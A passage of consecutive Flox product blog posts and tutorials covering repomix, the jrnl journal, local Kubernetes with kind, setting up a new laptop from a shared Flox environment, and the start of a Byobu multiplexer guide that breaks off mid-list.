`repomix` environment, so after changing into the `floxdocs` directory, just type: ``` flox [repomix] daedalus@archaios:~/dev/floxdocs$ repomix 📦 Repomix v0.2.15 No custom config found at repomix.config.json or global config at /home/daedalus/.config/repomix/repomix.config.json. You can add a config file for additional settings. Please check https://github.com/yamadashy/repomix for more information. ✔ Packing completed successfully! 📈 Top 5 Files by Character Count and Token Count: ────────────────────────────────────────────────── 1. .flox/env/manifest.lock (51,326 chars, 18,906 tokens) 2. docs/install-flox.md (27,964 chars, 6,838 tokens) 3. docs/index.md (24,315 chars, 5,719 tokens) 4. docs/concepts/flox-vs-containers.md (12,799 chars, 2,980 tokens) 5. docs/concepts/activation.md (12,459 chars, 2,855 tokens) 🔎 Security Check: ────────────────── ✔ No suspicious files detected. 📊 Pack Summary: ──────────────── Total Files: 52 files Total Chars: 277,017 chars Total Tokens: 73,671 tokens Output: repomix-output.txt Security: ✔ No suspicious files detected 🎉 All Done! Your repository has been successfully packed. ``` This produces a text file called `repomix-output.txt`, which contains cleansed, prepared raw text from the `floxdocs` repo. (If you’ve got JSON, YAML, etc. data structures in your repo, they’re retained in the `repomix-output.txt` file.) Below is the header section that `repomix` prepends before the actual content of the repo. ``` This file is a merged representation of the entire codebase, combining all repository files into a single document. Generated by Repomix on: 2025-01-24T00:30:35.394Z ================================================================ File Summary ================================================================ Purpose: -------- This file contains a packed representation of the entire repository's contents. It is designed to be easily consumable by AI systems for analysis, code review, or other automated processes. File Format: ------------ The content is organized as follows: 1. This summary section 2. Repository information 3. Directory structure 4. Multiple file entries, each consisting of: a. A separator line (================) b. The file path (File: path/to/file) c. Another separator line d. The full contents of the file e. A blank line Usage Guidelines: ----------------- - This file should be treated as read-only. Any changes should be made to the original repository files, not this packed version. - When processing this file, use the file path to distinguish between different files in the repository. - Be aware that this file may contain sensitive information. Handle it with the same level of security as you would the original repository. Notes: ------ - Some files may have been excluded based on .gitignore rules and Repomix's configuration. - Binary files are not included in this packed representation. Please refer to the Repository Structure section for a complete list of file paths, including binary files. Additional Info: ---------------- For more information about Repomix, visit: https://github.com/yamadashy/repomix ``` If I feed `repomix-output.txt` into an LLM, I can ask it questions about the repo. If this were primarily a code repo, I might ask it specific questions about refactoring, or I could ask it to regenerate specific artifacts, adding comments to uncommented code (or improve comments where they exist)—stuff like that. Since this is a documentation repo, however, I’ll ask it questions about Flox. The final response makes sense. We _do_ have a draft PR explaining how to add Flox's upstream repository on Debian- and Red Hat-based systems, but the person who wrote it (me) needs to address a few comments before the PR can be merged into the main branch. So this information isn’t available in the repo we cloned. By the way, if you'd rather do this in a terminal-based workflow, instead of a web browser, we do have an **[anthropic example](https://flox.dev/blog/pair-with-claude-in-your-shell-using-anthropic-flox/) environment** that you can use to query Claude using Anthropic’s APIs. You can remotely activate this environment by running **`flox activate -r flox/anthropic`**. What does it mean to “remotely activate” a Flox environment? Let’s ask Claude: Just in case the print is too tiny to read, here’s Claude’s concise summary wrap-up: ``` So in summary, remote activation lets you use shared environments from FloxHub on-demand, without needing to manually set them up locally first, enabling easy sharing and reproducibility across projects and machines. ``` _Caveat prompter_: You need to have API credits to use Claude this way. ## Summary(R)(TM) I could show you more neat stuff with `repomix`—including meta use cases like having it generate documentation about the FloxDoc documentation—but I feel as if you get the point. The raw-text files it generates are no less useful/essential for **training** language models, too. I don’t yet have my hot little hands on a single RTX 5090 (let alone a few dozen of them), so I’m afraid demo-ing that use case is impossible. (Jensen are you listening?) But `repomix` is a deceptively powerful tool you can use to condense your entire codebase into an AI-friendly format. What you do with this is limited only by your human imagination. Title: Get a Journal in Your Terminal with jrnl and Flox Source: https://flox.dev/popular-packages/get-a-journal-in-your-terminal-with-jrnl-and-flox/ Date: 2025-01-17 Category: tutorial # Get a Journal in Your Terminal with jrnl and Flox jrnl is a plain-text command-line journaling application that allows you to store multiple journals, tag entries, and more. Today’s Fun Package is a simple one: [jrnl](https://github.com/jrnl-org/jrnl). This is a plain-text command-line journaling application that allows you to store multiple journals, tag entries, and more. People journal for a variety of reasons, but I only use `jrnl` for work. First I’ll show you how to get started, and then I’ll show you how I use it. ## Getting started If you want `jrnl` to be available all the time, add it to your `default` Flox environment. If you don’t already have a `default` environment, it’s simply an environment that is stored in `~/.flox`, and once you add a line to your shell’s RC files the packages in that environment will be available everywhere. For all of the details and setup instructions, see [the documentation](https://flox.dev/docs/tutorials/default-environment/). With that out of the way, install `jrnl` to the `default` environment: ``` $ cd ~ $ flox install jrnl ``` Once that’s installed, you should be able to run `jrnl` from anywhere on your machine. The first time you run `jrnl` it will ask you some initial setup questions. For now feel free to accept all of the defaults; you can change them in the config file afterwards. When you call `jrnl` on the command line it will open an editor in your terminal. By default this is `vi`, but I’m a `helix` user so I need to change that. So in my case I’ll open the `~/.config/jrnl/jrnl.yaml` file and add a line to set the editor: ``` editor: hx ``` To start editing an entry, you simply call `jrnl`. This opens an editor, and when you exit, a new entry will be saved by default. I don’t always want to create a new entry, so I’ve created an alias in my shell to edit the previous entry using the command `jrnl -n 1 --edit`. If you’d like to create multiple journals to keep your entries separate, you also do that in the config file. I have two separate journals, configured like this: ``` journals: default: ~/.local/share/jrnl/work/ me: ~/.local/share/jrnl/personal/ ``` Now when I want to create an entry for my personal journal (used for recording my work tinkering on side projects) I call `jrnl me`, and since my work journal is the `default` journal, I create new work entries by simply calling `jrnl`. When editing an entry you can add tags with the `@` symbol: e.g., `@issue-1234`. There is a query syntax to locate entries, but that’s out of scope for this post. See the jrnl documentation for more information. ## How I use jrnl **Debugging** I often find that when I’m debugging something I want to keep notes to log what I’ve tried, keep track of error messages, etc. A real benefit to this is that when you want to bring someone into the loop to get a second set of eyes on the problem, you don’t need to wrack your brain to remember what all you’ve tried, you already have it written down. I tag these entries with `@debuglog` so that I can quickly find them. **Historical context for tickets** When I’m working on a ticket I tag it with the issue number and the general topic that it’s associated with. If I’m working on **`flox install`** I might tag an entry with `@issue-1234` and `@cmd-install`. This allows me to find entries when I vaguely remember writing something down while working on **`flox install`**. Note that these are mostly personal notes and anything significant typically goes in a comment on the ticket so that other developers can have as much context as possible. **Brag document** If you’ve never heard of a brag document, Julia Evans has a [great post](https://jvns.ca/blog/brag-documents/) explaining the purpose. In short, doing a self-evaluation for a performance review is not the best time to remember all the great things that you’ve done since your last performance review. It’s much easier to write those down as you go and then collect them at the appropriate time. I simply tag entries with `@brag` when I want to record one of these items. ## Summary I’m a bit obsessive when it comes to writing things down, but there are some tangible benefits outside of soothing the nerves. Give this kind of journaling a try and see how you like it. Title: Run Kubernetes Clusters Locally on Your Laptop with kind and Flox Source: https://flox.dev/popular-packages/get-kubernetes-on-your-laptop-with-kind-and-flox/ Date: 2025-01-10 Category: tutorial # Run Kubernetes Clusters Locally on Your Laptop with kind and Flox Kind is a lifesaver if or when you need to emulate a production Kubernetes environment on your laptop. And with Flox, you can create and share a preconfigured kind environment that runs ... anywhere. **TL;DR** - Kind runs Kubernetes clusters locally in Docker. - Flox simplifies environment setup and package installs. - YAML config defines cluster name, version, and nodes. - Flox automates cluster creation and management tasks. This guide shows you how to use **[kind](https://github.com/kubernetes-sigs/kind)**, or Kubernetes in Docker, which is just what it says: a tool for running Kubernetes (k8s) clusters locally using containers, nominally for developing and/or testing software. Read on to discover how kind can fit into (and possibly improve) your workflow! ## The case for emulating a production environment on your laptop Kind is a lifesaver if or when you need to emulate a production Kubernetes environment on your laptop. OK, _why_ would you want or need to do this? Probably because you’re responsible for building and maintaining Kubernetes apps or services, and you need a pattern for developing and testing them locally. Also, friends tell me many orgs use kind in their CI pipelines (in addition to local use) to validate Kubernetes manifests, troubleshoot problem deployments, or experiment with new k8s features. Kind lets you do this by running the Kubernetes control plane and worker nodes as [OCI](https://opencontainers.org/) containers in Docker or Podman. (FYI: We [explored using kind](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox/) in place of lightweight solutions like [k3s](https://github.com/k3s-io/k3s) or [microk8s](https://github.com/canonical/microk8s) in an article published last year.) That’s kind in a nutshell. Now let’s explore how to get and use it. ## Install Flox and locate the kind package First, we need to make sure [we’ve got Flox installed](https://flox.dev/docs/install-flox/). Next, we’ll create a Flox project directory, just like we’d create one for a local GitHub repo: ``` mkdir kind ``` Once we `cd` into this directory, [we can initialize our Flox environment](https://flox.dev/docs/reference/command-reference/flox-init/) (**flox init**) and install required dependencies from [Flox Catalog](https://flox.dev/docs/concepts/packages-and-catalog/). In addition to the `kind` package, we’ll probably want to grab a few supporting packages—like `kubectl` and maybe even `k9s`: ``` flox install kind kubectl k9s && flox activate ✅ 'kind' installed to environment 'kind' ✅ 'kubectl' installed to environment 'kind' ✅ 'k9s' installed to environment 'kind' ✅ You are now using the environment 'kind'. To stop using this environment, type 'exit' ``` Having activated our environment, we’re ready to use it. So let’s do that. ## Create the configuration and name the K8s cluster To run kind, you first need to create the configuration file (a YAML artifact) you’ll use to define your K8s cluster. Then you’ll invoke the `kind` command to deploy your cluster. A sample `kind.yaml` might look like this: ``` kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 name: gutes-zeug nodes: - role: control-plane image: kindest/node:v1.32.0 - role: worker image: kindest/node:v1.32.0 - role: worker image: kindest/node:v1.32.0 - role: worker image: kindest/node:v1.32.0 - role: worker image: kindest/node:v1.32.0 ``` This names the cluster (`name: gutes-zeug`) and tells kind to use Kubernetes v1.32.0 container images. This matches the version of `kubectl` that’s installed in the environment. It also creates a K8s control plane (`role: control-plane`) and four worker nodes (`role: worker`), replicating a hypothetical prod environment. Basically, now all you’ve got to do is run `kind create cluster --config kind.yaml` to start it. From there, you can use `kubectl`, `helm`, or other tools to deploy software on it. ## Perfecting the environment I’m going to cheat a little bit from here on out—but in a good way. It happens that I’ve prebuilt a Flox environment to automate the process of configuring and spinning up a kind cluster. Basically, I wrote some bash that asks me “Do you want to create a new kind configuration file?” and, if I say `yes`, prompts me to: - Specify a cluster name (e.g., 'dev-cluster') - Specify a Kubernetes version (e.g., 'v1.29.2' or 'latest') - Specify the number of worker nodes (e.g., 3) Once finished, it concludes by asking me: “Do you want to create and deploy your kind cluster?” You can grab a persistent local version of this environment by running the following command: ``` flox pull --copy barstoolbluz/kind ``` Or you can activate a temporary remote Flox environment by running: ``` flox activate -r barstoolbluz/kind ``` In both cases, Flox grabs my environment from FloxHub. But if you **`flox pull –copy`**, you’ll first want to make sure you’ve `cd`-ed into a new project directory, after which you’ll need to **`flox activate`** it. Alternatively, **`flox activate -r`** works anywhere. It activates my FloxHub environment and puts you into a Flox subshell. When you type exit and hit `Enter`, the session ends (but the local copy of the environment remains cached for next time). (Note: my environment also has a built-in function, `delete-cluster`, you can invoke to stop and destroy your cluster when you’re finished. If you don’t specify a cluster name via the command line—e.g., `delete-cluster foo`—it will prompt you for one! It’s possible to automate starting and stopping kind clusters using Flox’s built-in service management capabilities, but it’s Friday afternoon after the holidays. You understand, right?) My environment uses the [gum](https://github.com/charmbracelet/gum) package from the incredible folks at [charmbracelet](https://github.com/charmbracelet) to power its bootstrapping wizard. Here’s an example of it in action: ``` daedalus@askesis:~/tests/kind$ flox activate ✅ You are now using the environment 'kind'. To stop using this environment, type 'exit' Specify cluster name (e.g., 'dev-cluster'): zeug Specify Kubernetes version (e.g., 'v1.29.2' or 'latest'): latest Specify number of worker nodes (e.g., 3): 4 Created configuration file: zeug-kind.yaml Creating cluster "zeug" ... ✓ Ensuring node image (kindest/node:v1.32.0) 🖼 ✓ Preparing nodes 📦 📦 📦 📦 📦 ✓ Writing configuration 📜 ✓ Starting control-plane 🕹️ ✓ Installing CNI 🔌 ✓ Installing StorageClass 💾 ✓ Joining worker nodes 🚜 Set kubectl context to "kind-zeug" You can now use your cluster with: kubectl cluster-info --context kind-zeug Thanks for using kind! 😊 ``` Sure, it _says_ it’s running, but … is it really running? Let’s find out! ``` docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 08017b54c933 kindest/node:v1.32.0 "/usr/local/bin/entr…" 7 minutes ago Up 7 minutes kind-worker4 468376ba6996 kindest/node:v1.32.0 "/usr/local/bin/entr…" 7 minutes ago Up 7 minutes kind-worker3 4b871fa37e20 kindest/node:v1.32.0 "/usr/local/bin/entr…" 7 minutes ago Up 7 minutes kind-worker2 edaea18691b0 kindest/node:v1.32.0 "/usr/local/bin/entr…" 7 minutes ago Up 7 minutes kind-worker 7768b09db00d kindest/node:v1.32.0 "/usr/local/bin/entr…" 7 minutes ago Up 7 minutes 127.0.0.1:45327->6443/tcp kind-control-plane ``` So far, so good. Let’s see what output we get from `kubectl`: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION kind-control-plane Ready control-plane 9m2s v1.32.0 kind-worker Ready 8m52s v1.32.0 kind-worker2 Ready 8m52s v1.32.0 kind-worker3 Ready 8m52s v1.32.0 kind-worker4 Ready 8m52s v1.32.0 ``` Excellent! Now let’s dig a little deeper: ``` kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE coredns-668d6bf9bc-fk65b 1/1 Running 0 9m16s coredns-668d6bf9bc-gf86f 1/1 Running 0 9m16s etcd-kind-control-plane 1/1 Running 0 9m22s kindnet-glfvf 1/1 Running 0 9m17s kindnet-pk9qd 1/1 Running 0 9m14s kindnet-rxjwc 1/1 Running 0 9m14s kindnet-tmhj7 1/1 Running 0 9m14s kindnet-tt5vw 1/1 Running 0 9m14s kube-apiserver-kind-control-plane 1/1 Running 0 9m22s kube-controller-manager-kind-control-plane 1/1 Running 0 9m22s kube-proxy-h9wwv 1/1 Running 0 9m14s kube-proxy-hqjlq 1/1 Running 0 9m14s kube-proxy-hztd4 1/1 Running 0 9m17s kube-proxy-nnzqj 1/1 Running 0 9m14s kube-proxy-tg6vr 1/1 Running 0 9m14s kube-scheduler-kind-control-plane 1/1 Running 0 9m22s ``` Everything looks as it should. I think? (I’m far from a Kubernetes expert, after all.) If I had a Kubernetes deployment manifest, I could apply it using `kubectl`, or I could deploy a Helm chart using the `helm` package. So far as either tool knows, it's interacting with a gigantic k8s cluster. Speaking of which, both `kubectl` and `helm` are built into my environment. If I need specific historical versions of either, [they're almost certainly in the Flox catalog](https://flox.dev/docs/concepts/packages-and-catalog/). ``` flox list gum: gum (0.14.5) helm: helm (0.9.0) jq: jq (1.7.1) k9s: k9s (0.32.7) kind: kind (0.26.0) kubectl: kubectl (1.32.0) ``` I can use `kubectl` for quick-and-dirty [imperative deployments](https://kubernetes.io/docs/reference/kubectl/generated/kubectl_create/kubectl_create_deployment/). And since I don’t actually have a production app or service to build and test locally, that's exactly what I'm going to do: ``` kubectl create deployment nginx --image=nginx kubectl expose deployment nginx --type=NodePort --port=80 kubectl create deployment redis --image=redis kubectl expose deployment redis --type=ClusterIP --port=6379 kubectl create deployment rabbitmq --image=rabbitmq kubectl expose deployment rabbitmq --type=ClusterIP --port=5672 ``` I’ve installed `k9s` in my environment, which I can use to view the status of my deployments. The screenshot below shows that `nginx`, `redis`, and `rabbitmq` have deployed successfully. I’ve saved one final detail for last. If you don’t have a container runtime like Docker or Podman installed ... my environment won’t activate. Deflating-trumpet sound, right? Not so fast! You can remotely activate Flox’s [Colima example environment](https://flox.dev/blog/no-runtime-required-get-containers-on-macos-and-windows-with-colima-and-flox/) to get an on-when-you-need-it-off-when-you-don’t container runtime: ``` flox activate -s -r flox/colima ``` Colima gives you Docker in a VM, kind of like on Windows or macOS, just without the heavy-duty desktop. ## Summary So that’s kind. IYKYK: if you know, you know … kind is nothing short of miraculous. Try experimenting with kind yourself: It’s an excellent way to learn K8s—locally, right on your laptop—without setting up a multi-node (or multi-VM) lab environment. (Trust me, I’ve been there!) And it’s becoming an increasingly popular solution for emulating a production K8s environment both locally and in CI. Happy hacking! ## FAQs about running kubernetes on a laptop ### What are the main benefits of using kind for local Kubernetes development? Kind enables developers to emulate production Kubernetes environments directly on their laptops. With kind, dev can run the control plane and worker nodes as OCI containers in Docker or Podman. This approach offers a lightweight and fast solution for local development, testing, and troubleshooting Kubernetes applications and configurations. It's particularly useful for validating Kubernetes manifests and experimenting with new features without needing a full-blown virtual machine environment. ### How does kind compare to other local Kubernetes solutions like Minikube or k3s? Kind is the more efficient choice for CI/CD pipelines. It runs Kubernetes nodes directly as Docker containers, quickly spinning up ephemeral clusters. Minikube typically operates a single-node Kubernetes cluster within a virtual machine. It offers broad driver support and a complete isolated VM environment. K3s, on the other hand, is a minimal Kubernetes distribution. It’s optimized for edge computing and resource-constrained systems, providing a very small footprint with a simplified installation. ### What are the typical resource requirements for running a Kubernetes cluster with kind on a laptop? While kind is designed to be lightweight, the actual resource consumption depends on the size of the cluster and the applications deployed. A basic kind cluster with a few nodes generally requires at least 8GB of RAM and a modern multi-core CPU for smooth operation on a laptop. For more complex setups involving numerous worker nodes or resource-intensive applications, 16GB of RAM or more is recommended to maintain optimal performance. ### Can I customize the kind cluster configuration beyond a single control plane and worker nodes? Yes, kind clusters are extensively customizable through a YAML configuration file, allowing for diverse setups beyond the basic configuration. Users can define multi-control plane nodes for high availability, specify particular Kubernetes versions for each node, integrate additional volume mounts, and configure advanced networking options. Flox environments can automate these customizations, providing a streamlined way to set up complex kind clusters with pre-configured settings. Title: Setting Up a New Laptop Made Easy with Flox Source: https://flox.dev/blog/setting-up-a-new-laptop-made-easy-with-flox/ Date: 2024-12-23 Category: guide # Setting Up a New Laptop Made Easy with Flox With Flox, you can easily replicate your preferred apps, tools, settings, and workflows across all your devices—including that brand new M4 MacBook Pro you’re getting for the holidays! So thanks to Santa, [Hannukah Harry](https://en.wikipedia.org/wiki/Hanukkah_Harry), or a loved one’s largesse, you got a new laptop for Christmas—a fully kitted out 16.2” M4 MacBook Pro with 64GB of memory and 4TB of NVME storage. Suh-weet! You absolutely want to build software with it, which means setting up your local dev environment. Easier said than done! Experience has taught you that setting up a local dev environment is a Sisyphean enterprise: things always break, so you find yourself repeating the same motions over and over again. This time, however, you’ve got Flox. And that makes all the difference. With Flox, you use declarative methods to define all of the software, variables, services, functions, aliases, wrappers, and other features you want to make available in your environment. This means you can replicate your preferred apps, tools, settings, and workflows across _all_ your devices, making it simple to set up the same `$HOME` environment on a new MacBook as on your existing devices. Just run: ``` flox activate -r /default ``` Want to learn more? This article explores how Flox makes onboarding onto a new device … effortless. ## Zat you, Santa Claus? Your loved one did their best to fool you, putting your MacBook Pro inside a Uniqlo box and nesting _that_ inside a Harry & David box. But when you ran your battery of Holiday Gift Assessment (HGA) unit tests against each of your presents, you just knew. Your lift-and-shake test, especially, was a dead giveaway. Since then, you’ve been thinking about what you’re going to do with it. What you _haven’t_ been thinking about is which software you’re going to install on it. Because with Flox, you’ve got that covered. After you’ve unwrapped your new M4 MacBook Pro on Christmas, Hannukah, or Festivus morning, you let it charge for a bit, then power it up. After configuring your user, connecting to WiFi, accepting Apple’s EULA, and performing other bootstrapping actions, you’re finally ready to install and set up your userland. The first first thing you do is [download Flox](https://flox.dev/docs/install-flox/). After you’ve installed it, you fire up Terminal, navigate to your `$HOME` directory (`cd ~`), and type the following... ``` flox pull --copy /default ``` This pulls a copy of your **`default`** profile from your FloxHub account. Now you run: ``` flox activate ``` ...which [activates](https://flox.dev/docs/concepts/activation/) **`default`** and puts you into an isolated subshell on your local system. The first time you activate this environment, Flox downloads the packages you’ve defined in its software manifest and installs them in the local Nix store (`/nix`). Because you’ve defined dozens of packages, this takes a few minutes, during which time you pop into the kitchen to play with the new, needlessly complicated [siphon coffee maker](https://en.wikipedia.org/wiki/Vacuum_coffee_maker) your partner gifted you last night. When you come back a few minutes later, steaming mug in-hand, Flox is finished. And so are you. Your entire userland is set up on your new MacBook. There’s almost literally nothing else for you to do. ## Define once, pull and run anywhere But what’s actually _installed_ in your userland? You type `flox edit`, which opens up your software manifest in `vim`, your preferred editor. You see dozens upon dozens of packages listed, including: ``` [install] bash.pkg-path = "bash" bash.version = "5.2p32" bash.systems = ["x86_64-darwin", “aarch64-darwin”] bash.pkg-group = “darwin-userland” go.pkg-path = "go" go.pkg-group = “programming” python311.pkg-path = "python311" pip.pkg-path = "python311Packages.pip" pip.pkg-group = “programming” boto3.pkg-path = "python311Packages.boto3" boto3.pkg-group = “programming” python311.pkg-group = “programming” tmux.pkg-path = "tmux" tmux.pkg-group = “darwin-userland” coreutils.pkg-path = "coreutils" lazygit.pkg-path = "lazygit" gitFull.pkg-path = "gitFull" gitFull.pkg-path = “git” gitFull.pkg-group = “programming” github-cli.pkg-path = "github-cli" github-cli.pkg-group = “git” ngrok.pkg-path = "ngrok" wget.pkg-path = "wget" curl.pkg-path = “curl” gnused.pkg-path = "gnused" gnumake.pkg-path = "gnumake" openssh.pkg-path = "openssh" openssh.systems = ["x86_64-darwin", "aarch64-darwin"] openssh.pkg-group = “darwin-userland” tailscale.pkg-path = "tailscale" tailscale.pkg-group = “darwin-userland” ``` That’s right. You’ve got your essential Bash, Git, Python, and Go userland for software development. You’ve defined system-specific installation requirements for Bash and OpenSSH because you specifically need the Flox Catalog’s versions of these packages on macOS, but don’t need them on Linux, which you use at work. (The default versions that ship with macOS are too old and/or limited for your requirements.) But you also get your essential GUI userland tools from Flox Catalog, too... ``` signal-desktop.pkg-path = "signal-desktop" signal-desktop.pkg-group = "messaging" slack.pkg-path = "slack" slack.pkg-group = “messaging” whatsapp-for-mac.pkg-path = "whatsapp-for-mac" whatsapp-for-mac.systems = ["x86_64-darwin", "aarch64-darwin"] whatsapp-for-mac.pkg-group = "messaging" libreoffice.pkg-path = "libreoffice" libreoffice.pkg-group = "productivity" audacity.pkg-path = "audacity" audacity.pkg-group = "audio" blender.pkg-path = "blender" blender.pkg-group = "3D" blender.systems = ["x86_64-linux"] vlc.pkg-path = "vlc" vlc.systems = ["aarch64-darwin", "x86_64-darwin"] google-chrome.pkg-path = "google-chrome" google-chrome.systems = ["aarch64-darwin"] google-chrome.pkg-group = “browsers” firefox.pkg-path = "firefox" firefox.systems = ["aarch64-darwin", "x86_64-darwin"] firefox.pkg-group = “browsers” iterm2.pkg-path = "iterm2" iterm2.systems = ["aarch64-darwin", "x86_64-darwin"] vscode.pkg-path = "vscode" ``` ...along with your container runtime environment, Docker- and Kubernetes (K8s)-specific tooling, and so on. Colima, for example, gives you a way to run containers on macOS without installing a resource-intensive desktop runtime, while you use [KIND](https://github.com/kubernetes-sigs/kind)—or “Kubernetes in Docker”—to run and test your K8s deployments locally. ``` localstack.pkg-path = "localstack" localstack.pkg-group = “containerd” colima.pkg-path = "colima" colima.pkg-group = “containerd” docker.pkg-path = "docker-client" docker.pkg-group = “containerd” kubectl.pkg-path = "kubectl" kubectl.pkg-group = “kubernetes” kind.pkg-path = "kind" kind.pkg-group = “kubernetes” awscli2.pkg-path = "awscli2" awscli2.pkg-group = “aws” trino-cli.pkg-path = "trino-cli" ``` This is the same userland you run on your ancient x86-64 MacBook Pro, and on the Dell Precision Linux laptop workstation you use at work. Each system runs platform-optimized versions of these packages: your x86-64 Linux laptop gets x86-64 Linux packages, your trusty old x86-64 MacBook Pro gets x86-64 Darwin packages, and your M4 MacBook Pro gets ARM packages. _Every time you use Flox, you’re reminded of how neat it is_. And you’re reminded, too, that this just scratches the surface. Because in addition to being a cross-platform, cross-language package manager par excellence, Flox is also a cross-platform, cross-language environment manager with superpowers. ## A turn-key userland you can take anywhere In other words, you can use Flox to _configure_ both your userland and dev environment. For example, your **`default`** [Flox environment’s manifest](https://flox.dev/docs/reference/command-reference/manifest.toml) doubles as a configuration artifact, a place where you can define environment variables, services, setup and teardown automations, built in functions, aliases, wrappers, and other features. By taking advantage of the capabilities and affordances built into Flox and/or devolving from Nix, you’ve been able to tune your **`default`** environment so it precisely aligns with your workflow. You want to double-check a few things, so you type `flox edit` to view **`default`**’s configuration. First, under **`[vars]`**, you see the environment variables you’ve created for secrets management: ``` GITHUB_VAULT="GitHubSecretsVault" AWS_VAULT="AWSSecretsVault" DATABRICKS_VAULT="DatabricksSecretsVault" GITHUB_TOKEN_FIELD="PersonalAccessToken" GITHUB_USERNAME_FIELD="Username" AWS_ACCESS_KEY_ID_FIELD="AccessKeyID" AWS_SECRET_ACCESS_KEY_FIELD="SecretAccessKey" AWS_SESSION_TOKEN_FIELD="SessionToken" DATABRICKS_TOKEN_FIELD="APIToken" DATABRICKS_HOST_FIELD="HostURL" ``` Next, under **`[services.colima]`**, you see the following: ``` colima.command = "colima start" colima.is-daemon = true colima.shutdown.command = "colima stop" ``` This is TOML that defines the [Colima](https://flox.dev/blog/no-runtime-required-get-containers-on-macos-and-windows-with-colima-and-flox/) service for Flox’s built-in service management capabilities. Respectively, the **`colima.command`** and **`colima.shutdown.command`** start and stop this service. In the **[profile](https://flox.dev/docs/concepts/manifest/?h=profile#profile-section)** section of your **`default`** environment’s manifest, you've created an alias for `docker` that first checks whether the `colima` service is running before executing `docker` commands. You _could_ start any services defined in **`default`** automatically with `flox activate -s`, but you don’t always want a container runtime running. That’s one thing you appreciate about your Floxified Colima solution. ``` alias docker='[ -z "$IS_COLIMA_RUNNING" ] && flox services start colima && export IS_COLIMA_RUNNING=true; docker "$@"' ``` You have a similar configuration for [LocalStack](https://flox.dev/blog/building-and-debugging-aws-workflows-locally-with-flox-localstack-and-colima/), which you use to build and test AWS deployments locally. And because LocalStack needs a container runtime to work, you’ve also created an alias for `localstack` that checks to make sure both `IS_COLIMA_RUNNING=true` _and_ `IS_LOCALSTACK_RUNNING=true` before trying to run that command or the `awslocal` wrapper for `aws`. ``` alias localstack='[ -z "$IS_COLIMA_RUNNING" ] && flox services start colima && export IS_COLIMA_RUNNING=true; [ -z "$IS_LOCALSTACK_RUNNING" ] && flox services start localstack && export IS_LOCALSTACK_RUNNING=true; localstack "$@"' alias awslocal='[ -z "$IS_COLIMA_RUNNING" ] && flox services start colima && export IS_COLIMA_RUNNING=true; [ -z "$IS_LOCALSTACK_RUNNING" ] && flox services start localstack && export IS_LOCALSTACK_RUNNING=true; awslocal "$@"' ``` This way, your local container runtime runs only when you actually need it. Just the way you like it. ## All I want for Christmas is an end to restrictive add-on software licenses You’re basically done, although you do have to reboot your system to apply a macOS update. After it boots back up, you decide to do a test run, `git clone`-ing a project repo you’ve been working on: ``` git clone https://github.com/YamadaHanako/fractal ``` That's when you're presented with the following pop-up message: D’oh! You forgot to **`flox activate`** your environment after rebooting! That’s why you’re being prompted to install Apple’s command-line developer tools. But with Flox, **you don’t need these** and you don’t have to install them, so you don’t need to accept Apple’s license. _On the other hand_, you obviously don’t want to type `flox activate` every time you go to use `git` or other tools; you want this to happen automatically, transparently. No problem! On your other systems, you’ve configured your **`default`** environment to activate automatically, so you go ahead and do that on your M4 MacBook Pro. Adding the line ``` eval "$(flox activate -m run)" ``` to both your `.zshrc` and `.zprofile` dotfiles activates **`default`** automatically in all login and interactive shell sessions. And that’s basically it. In less than 15 minutes, your new MacBook Pro is mostly configured and ready to use. The coffee you brewed using your delightfully overcomplicated siphon coffee maker is still piping hot. You take a sip: "Needs just a touch of eggnog," you decide. ## Software development will be magic again Flox makes it a cinch to set up a local dev environment on your new MacBook Pro. And while it probably can’t help you configure your macOS settings, or migrate your data from iCloud, or connect to your WiFi network, Flox _can_ radically simplify the process of installing and configuring the messaging, productivity, software development, and other packages you don’t already get from Apple, or download from the AppStore. With Flox, setting up your new laptop is as simple as ``` flox activate -s -r /default ``` I showed you this command in the introduction, but I didn’t explain what it does. It taps into one of Flox’s killer features: **remote activation**. Basically, you’re: - Creating a _temporary_ local copy of the remote Flox environment **`default`**; - Remotely activating **`default`**, using the **`-r`** switch, for “remote;” and - Starting any defined services, using the **`-s`** switch, for “services.” This puts you into a Flox subshell. Best of all, by pulling and remotely activating **`default`** from FloxHub, you can be certain you’re getting the latest version of that environment. You can manage **`default`** and your other FloxHub environments in one place, updating and versioning them accordingly. [Download Flox](https://www.flox.dev/get) and try it for yourself. Discover how it transforms your workflow! Title: Byobu Terminal Multiplexing Tutorial Source: https://flox.dev/popular-packages/get-perfectly-good-terminal-multiplexing-with-byobu-and-flox/ Date: 2024-12-20 Category: tutorial # Byobu Terminal Multiplexing Tutorial A practical guide to Byobu terminal multiplexing: split panes, manage persistent sessions, customize status bars, and use Byobu with Flox environments. This is the guide for [Byobu](https://github.com/dustinkirkland/byobu), a terminal tool you can use to split your screen, run multiple sessions, and reconnect to sessions, even after you disconnect. I’d call it a “terminal multiplexer,” but it isn’t, quite: it’s actually a front-end for multiplexers like [tmux](https://github.com/tmux/tmux) or [GNU Screen](https://www.gnu.org/software/screen/). It stands on the shoulders of giants, but it's gigantic in its own way! **TL;DR** - Customize status bars to monitor system resources. - Detach and resume sessions without stopping processes. - Users can run multiple persistent sessions and reconnect anytime. ## **Sessions vs. Windows vs. Panes** Before you get hands‑on with Byobu (and the tmux engine underneath), it helps to understand the basic hierarchy of its interface elements. These terms show up in commands, shortcuts, and documentation; so understanding their hierarchy will help you quickly navigate, script and recover your work. ### **Sessions: the top‑level container** A **Session** is the highest‑level workspace. Think of a session as a *project* or *workspace folder* that stays alive in the background, even if you disconnect. * You can have multiple sessions running at once. * Sessions persist independently of your SSH connection or terminal. * Reattaching to a session instantly restores everything inside it. ### **Windows: tabs within a session** Inside each session are **Windows**—these function like tabs in a browser. * Each window usually runs a single program or task. * You can switch between windows without affecting other running processes. * Windows are where most users spend their time. ### **Panes: splits inside a window** A **Pane** is a subdivision *within* a window—like splitting your screen vertically or horizontally. * Panes let you view multiple terminals side by side. * Each pane is independent and runs its own shell or process. * Panes make it easy to monitor logs, run commands, and edit files simultaneously. ## Byobu cheat sheet Byobu pre-defines shortcut keys that simplify the following operations: - **`F2`** creates a new terminal window; - **`F3`** cycles backward through active windows; - **`F4`** cycles forward through active windows; - **`F6`** detaches from a session but leaves you logged in[1]; - **`F7`** lets you scroll back through terminal history; - **`F8`** renames the current window; - **`F9`** launches a configuration menu; - **`SHIFT` + 